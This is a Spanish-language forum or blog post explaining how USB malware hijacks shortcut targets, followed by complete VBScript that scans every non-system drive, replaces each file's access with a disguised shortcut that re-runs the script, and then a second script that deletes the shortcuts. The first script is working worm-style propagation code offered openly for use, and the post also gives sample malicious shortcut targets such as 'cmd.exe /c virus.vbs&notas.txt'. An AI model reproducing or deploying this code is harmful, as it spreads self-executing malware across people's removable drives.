Metodo De Ejecucion De Un Malware En Una USB Mediante Acceso Directo

Platicando con un amigo en el foro del el hacker.net de como lograban ejecutarse los virus en la USB para lograr sus objetivos, se me ocurrió otro método casi igual pero con la diferencia de que este no usa el cmd /c para ejecutar el script sino que usa parámetros, pero primero vamos a ver como funcionan la infeccion.

los virus en la actualidad que se propagan por usb crean varios accesos directos en ellas para propagarse, pero se preguntaran ¿para que sirven estos accesos directos? pues bueno ellos modifican la parte del destino del acceso directo que es esta parte




y como destino le ponen lo siguiente ejemplo:

C:\Windows\System32\cmd.exe /c virus.vbs&notas.txt

Nota: Este es solo un ejemplo simple para compararlo después con el mio y la diferencia es que este método muestra la ventana del símbolo del sistema y  el mio no ejemplo:


C:\Windows\System32\wscript.exe  virus.vbs "notas.txt"

para que esto funcione el archivo llamado "virus.vbs" debe de leer los parámetros enviados y ejecutarlos.

bueno aquí les dejo mi código completo que hace lo que explico, por cada archivo crea un acceso directo y al ejecutalo ejecuta de nuevo el script y el archivo asociado a el.

option explicit
dim shell,n,i,u,system,dir,d,f,sf,sb,j,link,b
'on error resume next'
Set shell = createobject("wscript.shell")
Set system = CreateObject("scripting.filesystemobject")

n = wscript.scriptfullname
i = instrrev(n,"\") '"
n = mid(n,i+1,len(n)-i)
u = Shell.ExpandEnvironmentStrings("%SystemDrive%")

if WScript.Arguments.Count <> 0 then
shell.run chr(34) & WScript.Arguments(0) & chr(34)
end if

Set dir = system.Drives

For each d in dir
if d.path<> u and d.IsReady then
ciclo1(d.path)
end if
Next

function ciclo1(ruta)
set f = system.GetFolder(ruta)
set sf = f.files

For Each j In sf
if j.type<> "Acceso directo" then
Set Link = Shell.CreateShortcut(j.path & ".lnk")
With Link
.TargetPath = wscript.fullname
.Arguments = " " & n & " " & chr(34) & mid(j.path,4,len(j.path)) & chr(34)
.IconLocation = "explorer.exe, 0"
.Description = j.type
.WorkingDirectory = j.drive
.Save
end with
end if
Next

set b = system.GetFolder(ruta)
Set sb = b.SubFolders

For Each j In sb
ciclo1(j.path)
Next
end function


ahora que ya les llene la usb de archivos lnk, aquí les dejo otro script para que los borren


option explicit
dim shell,system,u,dir,d,f,sf,j,b,sb
Set shell = createobject("wscript.shell")
Set system = CreateObject("scripting.filesystemobject")

u = Shell.ExpandEnvironmentStrings("%SystemDrive%")
Set dir = system.Drives

For each d in dir
if d.path<> u and d.IsReady then
ciclo1(d.path)
end if
Next

function ciclo1(ruta)
set f = system.GetFolder(ruta)
set sf = f.files

For Each j In sf
if j.type = "Acceso directo" then
j.Delete
end if
Next

set b = system.GetFolder(ruta)
Set sb = b.SubFolders

For Each j In sb
ciclo1(j.path)
Next
end function


Nota: Me han dicho que los identificadores(las variables) deben de llevar nombres que las identifiquen, ya que tal ves mis lectores no comprendan el programa, asi que les pide otro perdón aparte de mi ortografía pero se me ase mas cómodo programar asi y no batallo en andar inventando nombres para cada variable o función, así que me disculpan en la forma de programar.

saludos Flamer y creo que eso es todo,